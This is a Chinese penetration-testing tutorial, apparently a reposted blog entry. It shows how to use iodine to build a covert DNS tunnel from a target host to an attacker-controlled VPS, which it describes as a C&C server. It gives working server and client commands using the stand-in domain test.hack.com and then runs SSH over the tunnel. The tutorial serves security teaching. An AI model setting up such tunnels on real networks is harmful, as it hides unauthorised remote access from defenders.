内网渗透(二十一) | 内网转发及隐蔽隧道 :应用层隧道技术之使用DNS搭建隧道(iodine)

admin 2020年12月28日19:33:18评论30 views字数 2879阅读9分35秒阅读模式

本公众号发布的文章均转载自互联网或经作者投稿授权的原创,文末已注明出处,其内容和图片版权归原网站或作者本人所有,并不代表安世加的观点,若有无意侵权或转载不当之处请联系我们处理,谢谢合作!


欢迎各位添加微信号:asj-jacky

加入安世加 交流群 和大佬们一起交流安全技术


应用层隧道技术之使用DNS搭建隧道(iodine)


内网渗透(二十一) | 内网转发及隐蔽隧道 :应用层隧道技术之使用DNS搭建隧道(iodine)

目录

    iodine

    使用iodin搭建隧道

        (1):部署域名解析

        (2):安装并启动服务端

        (3):安装并启动客户端

        (4):使用DNS隧道


内网渗透(二十一) | 内网转发及隐蔽隧道 :应用层隧道技术之使用DNS搭建隧道(iodine)




iodine

iodine是基于C语言开发的,分为服务端和客户端。iodine支持转发模式和中继模式。其原理是:通过TAP虚拟网卡,在服务端建立一个局域网;在客户端,通过TAP建立一个虚拟网卡;两者通过DNS隧道连接,处于同一个局域网(可以通过ping命令通信)。在客户端和服务器之间建立连接后,客户机上会多出一块名为dns0的虚拟网卡。

与同类工具相比,iodine具有如下特点:

  • 不会对下行数据进行编码

  • 支持多平台(Linux、Windows、MacOS)

  • 支持16个并发连接

  • 支持强密码机制

  • 支持同网段隧道IP地质(不同于服务器一客户端网段)

  • 支持多种DNS记录类型

  • 提供了丰富的隧道质量检测措施




使用iodin搭建隧道

1):部署域名解析

首先,用一台公网的Linux系统的VPS作为C&C服务器,并准备好一个可以配置的域名(这里我们假设是hack.com)。然后,去配置域名的记录。首先创建记录A,将自己的域名 www.hack.com 解析到VPS服务器地址。然后,创建NS记录,将 test.hack.com 指向 www.hack.com 。

  • 第一条A类解析是在告诉域名系统,www.hack.com 的IP地址是 xx.xx.xx.xx 。

  • 第二条NS解析是在告诉域名系统,想要知道 test.hack.com 的IP地址,就去问 www.hack.com 。

内网渗透(二十一) | 内网转发及隐蔽隧道 :应用层隧道技术之使用DNS搭建隧道(iodine)


为什么要设置NS类型的记录呢?因为NS类型的记录不是用于设置某个域名的DNS服务器的,而是用于设置某个子域名的DNS服务器的。

如何验证域名解析设置是否成功?
在随便一台电脑上ping域名 www.hack.com ,若能ping通,且显示的IP地址是我们配置的VPS的地址,说明第一条A类解析设置成功并已生效。

内网渗透(二十一) | 内网转发及隐蔽隧道 :应用层隧道技术之使用DNS搭建隧道(iodine)

然后在我们的VPS上执行以下命令监听UDP53端口

tcpdump -n -i eth0 udp dst port 53

在任意一台机器上执行  nslookup test.hack.com 命令,如果在我们的VPS监听的端口有查询信息,说明第二条记录设置成功

内网渗透(二十一) | 内网转发及隐蔽隧道 :应用层隧道技术之使用DNS搭建隧道(iodine)




(2):安装并启动服务端

Kali中默认安装了iodine,但是我们这里用的服务端是Centos7系统,可以执行命令:yum -y install iodine 安装。如果是Windows系统,可以安装编译好的对应版本的iodine。

内网渗透(二十一) | 内网转发及隐蔽隧道 :应用层隧道技术之使用DNS搭建隧道(iodine)

执行以下命令启动服务端

iodined -f -c -P root@123456 192.168.100.1 test.hack.com -DD    -f:在前台运行    -c:禁止检查所有传入请求的客户端IP地址    -P:指定密码    -D:指定调试级别。-DD指第二级,D的数量随等级增加    这里的192.168.10.1是自定义的局域网虚拟IP地址

内网渗透(二十一) | 内网转发及隐蔽隧道 :应用层隧道技术之使用DNS搭建隧道(iodine)

启动完后,可以通过iodine检查页面:https://code.kryo.se/iodine/check-it/  检查配置是否正确。如下,表示设置成功

内网渗透(二十一) | 内网转发及隐蔽隧道 :应用层隧道技术之使用DNS搭建隧道(iodine)

服务端启动成功后,VPS上多了一块dns0的网卡,ip为我们设置的192.168.100.1

内网渗透(二十一) | 内网转发及隐蔽隧道 :应用层隧道技术之使用DNS搭建隧道(iodine)




(3):安装并启动客户端

Windows系统

如果是Windows系统,直接执行下面命令启动客户端,但是启动的过程中,会遇到杀毒软件的报毒,并且需要管理员权限执行命令才可以启动

iodine.exe -f -P root@123456 test.hack.com

内网渗透(二十一) | 内网转发及隐蔽隧道 :应用层隧道技术之使用DNS搭建隧道(iodine)

内网渗透(二十一) | 内网转发及隐蔽隧道 :应用层隧道技术之使用DNS搭建隧道(iodine)

那我们现在就以管理员权限运行该命令,如图,DNS隧道建立成功

内网渗透(二十一) | 内网转发及隐蔽隧道 :应用层隧道技术之使用DNS搭建隧道(iodine)

查看客户端网卡,多了一张以太网2,IP为192.168.100.2。此时,我们的VPS和客户端处在同一个逻辑的局域网内。

内网渗透(二十一) | 内网转发及隐蔽隧道 :应用层隧道技术之使用DNS搭建隧道(iodine)

但是此时ping服务端的192.168.100.1地址却ping不通,不知为何,客户端如果是Linux则不会有此情况。

内网渗透(二十一) | 内网转发及隐蔽隧道 :应用层隧道技术之使用DNS搭建隧道(iodine)

Linux系统

如果是Linux系统,先安装iodine。上传iodlie客户端到目标主机,解压,进入目录安装

cd iodine-0.7.0/make && make install

内网渗透(二十一) | 内网转发及隐蔽隧道 :应用层隧道技术之使用DNS搭建隧道(iodine)

然后执行下面命令连接服务端(需要root权限),如图连接成功。

iodine -f -P root@123456 test.hack.com

内网渗透(二十一) | 内网转发及隐蔽隧道 :应用层隧道技术之使用DNS搭建隧道(iodine)

连接成功后,客户端上新建了一个dns0的网卡,IP地址为192.168.100.2

内网渗透(二十一) | 内网转发及隐蔽隧道 :应用层隧道技术之使用DNS搭建隧道(iodine)

然后ping服务端地址192.168.100.1,能互通!

内网渗透(二十一) | 内网转发及隐蔽隧道 :应用层隧道技术之使用DNS搭建隧道(iodine)




(4):使用DNS隧道

客户端和服务端连接成功后,由于客户端和服务端处在一个逻辑的局域网中,所以可以直接通。

服务端SSH连接客户端

内网渗透(二十一) | 内网转发及隐蔽隧道 :应用层隧道技术之使用DNS搭建隧道(iodine)

客户端SSH连接服务端

内网渗透(二十一) | 内网转发及隐蔽隧道 :应用层隧道技术之使用DNS搭建隧道(iodine)

其他服务也是一样,可以直接指定虚拟局域网的IP和端口就可连接。



相关链接:

内网渗透(二十)| 内网转发及隐蔽隧道:使用DNS进行命令控制(DNS-Shell)

内网渗透(十九)| 内网转发及隐蔽隧道:使用ICMP进行命令控制(Icmpsh)

内网渗透(十八)| 工具的使用:MSF中获取用户密码

内网渗透(十七) | 内网转发及隐蔽隧道:使用SSH做端口转发以及反向隧道

内网渗透(十六) | 域分析工具BloodHound的使用

内网渗透 | 红蓝对抗:Windows利用WinRM实现端口复用打造隐蔽后门

内网渗透(十五) | psexec工具使用浅析(admin$)

内网渗透(十四) | 工具的使用|Impacket的使用

内网渗透(十三) | WinRM远程管理工具的使用

内网渗透(十二) | 利用委派打造隐蔽后门(权限维持)

内网渗透(十一) | 哈希传递攻击(Pass-the-Hash,PtH)

技术干货 | 工具:Social engineering tookit 钓鱼网站

技术干货 | 工具的使用:CobaltStrike上线Linux主机(CrossC2)

内网渗透(十) | 票据传递攻击

内网渗透(九) | Windows域的管理

内网渗透(八) | 内网转发工具的使用

内网渗透 | 域内用户枚举和密码喷洒攻击(Password Spraying)

内网渗透(七) | 内网转发及隐蔽隧道:网络层隧道技术之ICMP隧道(pingTunnel/IcmpTunnel)

内网渗透(六) | 工作组和域的区别

内网渗透(五) | AS-REP Roasting攻击

内网渗透 | 内网穿透工具FRP的使用
内网渗透(四) | 域渗透之Kerberoast攻击_Python
内网渗透(三) | 域渗透之SPN服务主体名称
内网渗透(二) | MSF和CobaltStrike联动
内网渗透 | 域内认证之Kerberos协议详解
内网渗透(一) | 搭建域环境

内网渗透(二十一) | 内网转发及隐蔽隧道 :应用层隧道技术之使用DNS搭建隧道(iodine)


本文始发于微信公众号(安世加):内网渗透(二十一) | 内网转发及隐蔽隧道 :应用层隧道技术之使用DNS搭建隧道(iodine)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2020年12月28日19:33:18
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   内网渗透(二十一) | 内网转发及隐蔽隧道 :应用层隧道技术之使用DNS搭建隧道(iodine)http://cn-sec.com/archives/223371.html

发表评论

匿名网友 填写信息